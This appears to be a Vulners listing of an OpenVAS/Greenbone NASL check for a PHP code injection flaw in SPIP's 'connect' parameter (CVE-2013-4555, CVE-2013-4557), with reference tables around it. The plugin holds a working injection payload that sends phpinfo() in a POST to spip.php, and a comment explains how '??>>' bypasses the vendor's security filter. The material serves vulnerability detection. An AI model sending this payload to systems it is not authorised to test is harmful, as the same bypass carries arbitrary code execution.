SPIP 'connect' Parameter PHP Code Injection Vulnerability (Aug 2013) - Active Check
🗓️ 29 Aug 2013 00:00:00Reported by Copyright (C) 2013 Greenbone AGType
openvas🔗 plugins.openvas.org👁 705 Views
| Reporter | Title | Published | Views | Family All 26 |
|---|---|---|---|---|
| CVE-2013-4557 | 11 Sep 202414:19 | – | circl | |
| CVE-2013-4555 | 15 Nov 201318:16 | – | cve | |
| CVE-2013-4557 | 15 Nov 201318:16 | – | cve | |
| CVE-2013-4555 | 15 Nov 201318:16 | – | cvelist | |
| CVE-2013-4557 | 15 Nov 201318:16 | – | cvelist | |
| DSquare Exploit Pack: D2SEC_SPIP_RCE_2 | 18 Nov 201302:55 | – | d2 | |
| CVE-2013-4555 | 15 Nov 201318:16 | – | debiancve | |
| CVE-2013-4557 | 15 Nov 201318:16 | – | debiancve | |
| Debian DSA-2794-1 : spip - several vulnerabilities | 21 Nov 201300:00 | – | nessus | |
| SPIP ecran_securite connect Parameter RCE | 27 Dec 201300:00 | – | dsquare |
10
| Source | Link |
|---|---|
| securityfocus | www.securityfocus.com/bid/54292 |
| securitytracker | www.securitytracker.com/id/1029317 |
# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:spip:spip";
if (description)
{
script_oid("1.3.6.1.4.1.25623.1.0.103777");
script_version("2025-11-11T05:40:18+0000");
script_tag(name:"last_modification", value:"2025-11-11 05:40:18 +0000 (Tue, 11 Nov 2025)");
script_tag(name:"creation_date", value:"2013-08-29 12:05:48 +0200 (Thu, 29 Aug 2013)");
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_cve_id("CVE-2013-4555", "CVE-2013-4556", "CVE-2013-4557");
script_tag(name:"qod_type", value:"remote_vul");
script_tag(name:"solution_type", value:"VendorFix");
script_name("SPIP 'connect' Parameter PHP Code Injection Vulnerability (Aug 2013) - Active Check");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/54292");
script_xref(name:"URL", value:"http://www.securitytracker.com/id/1029317");
# nb: The done injection requests might be already seen as an attack...
script_category(ACT_ATTACK);
script_family("Web application abuses");
script_copyright("Copyright (C) 2013 Greenbone AG");
script_dependencies("gb_spip_http_detect.nasl");
script_require_ports("Services/www", 80);
script_mandatory_keys("spip/http/detected");
script_tag(name:"summary", value:"SPIP is prone to a remote PHP code injection vulnerability.");
script_tag(name:"vuldetect", value:"Tries to execute the phpinfo() function by sending an HTTP
POST request.");
script_tag(name:"insight", value:"SPIP contains a flaw that is triggered when input passed via the
'connect' parameter is not properly sanitized before being used.");
script_tag(name:"impact", value:"An attacker can exploit this issue to inject and execute
arbitrary PHP code in the context of the affected application. This may facilitate a compromise of
the application and the underlying system, other attacks are also possible.");
script_tag(name:"affected", value:"SPIP versions prior to 2.0.21, 2.1.16 and 3.0.3 are vulnerable.
Other versions may also affected.");
script_tag(name:"solution", value:"Vendor updates are available.");
exit(0);
}
include("host_details.inc");
include("http_func.inc");
include("misc_func.inc");
include("http_keepalive.inc");
if(!port = get_app_port(cpe:CPE, service:"www"))
exit(0);
if(!dir = get_app_location(cpe:CPE, port:port))
exit(0);
if(dir == "/")
dir = "";
header = make_array("Content-Type", "application/x-www-form-urlencoded");
data = "connect=??>><?php phpinfo();#"; # there is a typo in ecran_securite.php (line 260) which makes str_replace() looking for the string "?>". With "??>>" we could bypass this workaround. Some installations also need to comment out all behind the command...
url = dir + "/spip.php";
req = http_post_put_req(port:port, url:url, data:data, add_headers:header);
# nb: Sometimes there is no output from phpinfo() on the first request. So try twice...
for(i = 0; i < 2; i++) {
res = http_keepalive_send_recv(port:port, data:req);
if(!res || res !~ "^HTTP/1\.[01] 200")
continue;
if(concl = http_check_for_phpinfo_output(data:res)) {
report = http_report_vuln_url(port:port, url:url);
report += '\nConcluded from:\n' + concl;
security_message(port:port, data:report);
exit(0);
}
}
exit(99);
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
11 Nov 2025 00:00Current
7.3High risk
Vulners AI Score7.3
CVSS 27.5
EPSS0.25287